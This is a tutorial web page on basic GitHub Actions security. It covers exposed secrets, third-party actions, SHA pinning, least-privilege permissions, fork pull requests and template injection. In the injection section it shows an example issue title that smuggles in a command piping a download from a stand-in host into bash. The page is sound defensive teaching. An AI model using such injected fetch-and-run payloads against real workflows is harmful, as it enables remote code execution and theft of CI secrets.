Skip to content
Français
CI/CD & Automatisation medium

First security reflexes for GitHub Actions workflows

40 min de lecture

Read this page in French

You may not realise it, but your GitHub Actions workflows have access to your secrets, can modify your code, and can deploy malicious code to production without you noticing. A poorly secured workflow is an open door for attackers.

Why does CI/CD pipeline security matter?

Your CI/CD pipeline is a prime target:

CI/CD pipeline risks: access to secrets, package publishing, production deployment

Concretely, your pipeline:

  • has access to secrets: API tokens, database passwords, cloud deployment keys;
  • can publish packages: to npm, PyPI, Docker Hub, or your private registry;
  • can deploy to production: changing what runs on your servers;
  • executes code on machines: potentially with internal network access.

An attacker who compromises your pipeline can do all of that in your place. It is as if they held the keys to your infrastructure.

What is a supply chain attack?

A supply chain attack does not target you directly. It targets something you use.

Inside GitHub Actions

Supply chain in GitHub Actions: third-party actions and dependencies feed your workflow, which deploys to production

There is no flaw in your code, and yet:

  • an action you use is compromised;
  • an npm dependency you install carries malicious code;
  • a base container image has been tampered with.

Real supply chain attacks

Here are a few well-known attacks on the software supply chain:

YearAttackWhat happened
2021CodecovA modified download script stole CI secrets
2022ua-parser-jsA popular npm package was infected and mined crypto
2024xz-utilsA backdoor hidden in a Linux compression library

These attacks hit thousands of companies without any mistake on their part in their own code.

The three main risks

Here are the three most common security risks in GitHub Actions.

1. Exposed secrets

What is a secret? A secret is a piece of confidential information your application needs to work: a database password, an API key for an external service, an access token for a Docker registry. Think of them as the keys to your house: if someone finds them, they can walk in.

Why is it a problem in workflows? Your workflow often needs those secrets to deploy, publish a package or reach a service. The danger is exposing them by accident.

Two classic mistakes:

# ❌ Mistake 1: the secret is hardcoded
# Anyone can read it in the Git history!
- run: curl -H "Authorization: Bearer sk-123456789"
# ❌ Mistake 2: printing a secret to "debug"
# It shows up in the logs, visible to every collaborator
- run: echo "Debug: ${{ secrets.API_KEY }}"

The good practice: store your secrets in GitHub (Settings, then Secrets) and reference them with ${{ secrets.NAME }}. GitHub masks them automatically in the logs.

# ✅ The secret lives in GitHub, not in the code
# Nobody can read it, not even in the Git history
- run: curl -H "Authorization: Bearer ${{ secrets.API_KEY }}"

2. Unverified third-party actions

What is an action? A GitHub action is a reusable piece of code that someone has published. Instead of rewriting the logic to "check out the code" or "publish to npm", you use an existing action with uses:.

Why is it convenient? It saves you from reinventing the wheel. The community has built thousands of actions for everything: deploying to AWS, sending a Slack notification, analysing code.

Why is it risky? When you write uses: someone/super-action@v1, you run code written by a stranger on your runners. That code can reach everything your workflow can reach, including your secrets.

It is like inviting a stranger into your home and handing them your keys. Maybe they are trustworthy, maybe not.

# ⚠️ Questions worth asking:
# - Who is "random-user"? A company? An individual?
# - What does this action really do? Have I read the code?
# - Is it maintained? Last updated three years ago?
- uses: random-user/deploy-magic@v1
with:
token: ${{ secrets.DEPLOY_KEY }} # We are handing over our keys!

The good practice: only use actions from trustworthy sources (GitHub, large companies, popular projects) and pin them by SHA to avoid surprise changes, as covered below.

3. Code from pull requests

What is a pull request (PR)? A PR is a proposed change to the code. On an open source project, anyone can fork the repository (make their own copy), change the code, then propose the change through a PR.

Why is it an attack vector? By default, when someone opens a PR, the repository's workflows run to test the proposed code. So an attacker can:

  1. fork your repository (create their own copy);
  2. modify the workflow so it prints or ships your secrets somewhere;
  3. open a PR against your repository;
  4. collect your secrets when the workflow runs.

Attack through a pull request: the attacker forks, modifies the workflow, opens a PR and collects the secrets

The good news: GitHub anticipated this. By default, workflows triggered by PRs coming from forks have no access to secrets. The attacker can modify the workflow, but they will collect nothing.

The golden rule: never disable that protection, and be wary of pull_request_target, which bypasses it.

The basic reflexes

To secure your GitHub Actions workflows, adopt these six simple reflexes.

1. Vet an action before using it

Before adding a new action, ask yourself:

  • Who created it? (GitHub, a known company, a stranger?)
  • Is it maintained? (recent update?)
  • How many people use it? (popular means more eyes on it)
  • Do I really need an action? (sometimes a plain run: is enough)

2. Pin actions by SHA

The problem with tags (@v1, @latest) is that they can move.

# ❌ If someone changes what "v4" points to, your workflow changes
- uses: actions/checkout@v4
# ✅ A SHA is immutable, nobody can alter it
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

The SHA (the long string) points at an exact version of the code. Even if the action maintainer is compromised, your workflow keeps using the version you vetted.

  1. Go to the action's repository (for example github.com/actions/checkout)
  2. Click "Releases"
  3. Find the version you want
  4. Copy the commit SHA

Or use pin-github-action to do it automatically:

Fenêtre de terminal
npx pin-github-action .github/workflows/ci.yml

3. Restrict the permissions

By default, apply the principle of least privilege:

# ✅ Explicit, minimal permissions
permissions:
contents: read # Only read the code, never modify it
jobs:
test:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- run: npm test

If your workflow is compromised and only holds contents: read, the attacker cannot modify your code.

4. Never store secrets in the code

It sounds obvious, and it is still the most frequent mistake. Secrets belong in GitHub (Settings, then Secrets and variables, then Actions), never in the code, not even "temporarily".

# ❌ NEVER: the secret stays visible in the Git history forever
env:
API_KEY: "sk-1234567890abcdef"
# ✅ The secret lives in GitHub, referenced by name
env:
API_KEY: ${{ secrets.API_KEY }}

Even if you delete the commit, it remains in the history. If you have committed a secret by mistake, treat it as compromised and rotate it immediately.

5. Do not trust PRs from forks

This is GitHub's default behaviour, so leave it alone:

on:
pull_request: # ✅ No access to secrets for forks
# DANGEROUS: pull_request_target does grant access to secrets
# Do not use it without understanding the risks

6. Never inject untrusted data into your scripts

An issue title, a PR body, a commit message: those are data controlled from the outside. Inserting them directly with ${{ }} inside a run: block lets an attacker execute their own commands on your runner. This is template injection, the most common flaw in GitHub Actions.

# ❌ The issue title is injected verbatim into the shell
- run: echo "New issue ${{ github.event.issue.title }}"
# ✅ The data travels through an environment variable
- run: echo "New issue $ISSUE_TITLE"
env:
ISSUE_TITLE: ${{ github.event.issue.title }}

A title such as "; curl evil.sh | bash # would run arbitrary code in the first version. In the second, it stays a plain string with no power.

Recap: the basic checklist

Before putting a workflow into production:

Secrets and permissions:

  • No secrets in the code, use ${{ secrets.* }}
  • No injection, external data passed through env:, never interpolated directly into run:
  • Permissions declared, permissions: at the top of the workflow with the minimum needed
  • No permissions: write-all, list only what you actually need

Actions and dependencies:

  • Actions vetted, from a known and maintained source
  • Spelling checked, no typosquatting (actions/checkout, not action/checkout)
  • Dependencies assessed, use OpenSSF Scorecard to check a project's security maturity
  • Actions pinned by SHA, no @v1 and no @latest

Pull requests:

  • No pull_request_target, unless you understand the risks
  • Approval required for workflows on PRs from outside contributors

Advanced good practices:

  • Dependabot enabled, for automatic action updates
  • Branch protection, requiring reviews and checks before merge
  • Regular audits, periodically reviewing the actions in use

Key points

This page covers the fundamentals of GitHub Actions security. It is a first step: you will meet further good practices later on (OIDC, attestations, self-hosted runners).

Yes, it is a lot at once. But if you read this page to the end and apply these principles, you already have an edge over most developers. CI/CD security is a subject few people truly master, and you are on the right path.

Next steps

Is this site useful to you?

Fewer than 1% of readers support this site.

I maintain more than 700 free guides, with no ads and no tracking. Any support, even a symbolic one, helps cover hosting and keeps these resources free. Thank you for the help.

The form does not show? Open Ko-fi in a new tab.

Subscribe and follow my DevSecOps work on LinkedIn